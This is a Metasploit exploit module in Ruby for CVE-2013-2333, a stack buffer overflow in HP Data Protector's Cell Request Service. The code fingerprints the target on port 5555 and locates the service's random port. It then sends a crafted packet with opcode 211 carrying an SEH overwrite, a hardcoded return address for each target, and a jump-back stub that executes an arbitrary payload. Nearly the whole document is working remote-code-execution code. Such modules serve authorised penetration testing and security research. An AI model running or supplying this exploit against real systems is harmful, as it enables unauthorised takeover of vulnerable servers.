HP Data Protector – Cell Request Service Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector Cell Request Service Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3. }, 'Author' => [ 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2333' ], [ 'OSVDB', '93867' ], [ 'BID', '60309' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-130/' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 4096, 'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'HP Data Protector 6.20 build 370 / Windows XP SP3', { 'Ret' => 0x00436fe2, # ppr from crs.exe 'Offset' => 15578 } ], [ 'HP Data Protector 7.00 build 72 / Windows XP SP3', { 'Ret' => 0x004cf8c1, # ppr from crs.exe 'Offset' => 15578 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 03 2013')) deregister_options('RPORT') # The CRS service runs on a random port end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |k, v| if k == "Payload" data << "#{v}\x00\x00" else data << "#{Rex::Text.to_unicode(v)}\x00\x00" end data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator data << "\x00\x00" # Ending return [data.length].pack("N") + data end def get_fingerprint ommni = connect(false, {'RPORT' => 5555}) ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl end def get_crs_port pkt = build_pkt({ "Opcode" => "2", "FakeMachineName" => rand_text_alpha(8), "Unknown1" => "0", "FakeDomainUser" => rand_text_alpha(8), "FakeDomain" => rand_text_alpha(8), "FakeLanguage" => rand_text_alpha(8), "Unknown2" => "15" }) ommni = connect(false, {'RPORT' => 5555}) ommni.put(pkt) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end res_length, bom_unicode, res_data = resp.unpack("Nna*") fields = res_data.split(Rex::Text.to_unicode(" ")) opcode = fields[0] port = fields[1] if not opcode or not port vprint_error("Unexpected response") return nil end opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00")) if opcode != "109" vprint_error("Unexpected opcode #{opcode} in the response") return nil end port = Rex::Text.to_ascii(port.chomp("\x00\x00")) return port.to_i end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end port = get_crs_port if port.nil? print_status("HP Data Protector version #{fingerprint}") print_error("But CRS port not found") else print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") end if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return Exploit::CheckCode::Vulnerable elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return Exploit::CheckCode::Vulnerable elsif fingerprint =~ /HP Data Protector A\.07\.00/ return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.07\.01/ return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.06\.20/ return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.06\.21/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def get_target fingerprint = get_fingerprint if fingerprint.nil? return nil end if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ return targets[1] elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ return targets[2] else return nil end end def exploit if target.name =~ /Automatic/ print_status("Trying to find the target version...") my_target = get_target else my_target = target end if my_target.nil? fail_with(Failure::NoTarget, "Failed to autodetect target") end print_status("Trying to find the CRS service port...") port = get_crs_port if port.nil? fail_with(Failure::NotFound, "The CRS service has not been found.") else print_good("CRS service found on #{port}/TCP") connect(true, {'RPORT' => port}) end pkt = build_pkt({ "Opcode" => "0", "EndPoint" => "GUICORE", "ClientFingerprint" => "HP OpenView OmniBack II A.06.20", "FakeUsername" => rand_text_alpha(8), "FakeDomain" => rand_text_alpha(8), "Unknown1" => "488", "Unknown2" => rand_text_alpha(8) }) print_status("Sending packet with opcode 0...") sock.put(pkt) data = sock.get_once(-1) if data.nil? fail_with(Failure::Unknown, "Error while communicating with the CRS Service") end if Rex::Text.to_ascii(data) !~ /NT-5\.1/ fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets") end pkt = build_pkt({ "Opcode" => "225" }) print_status("Sending packet with opcode 225...") sock.put(pkt) data = sock.get_once(-1) if data.nil? fail_with(Failure::Unknown, "Error while communicating with the CRS Service") end bof = payload.encoded bof << rand_text(my_target["Offset"] - payload.encoded.length) bof << generate_seh_record(my_target.ret) bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string bof << rand_text(100) # Trigger Exception pkt = build_pkt({ "Opcode" => "211", "Payload" => bof }) print_status("Sending malicious packet with opcode 211...") sock.put(pkt) disconnect end end |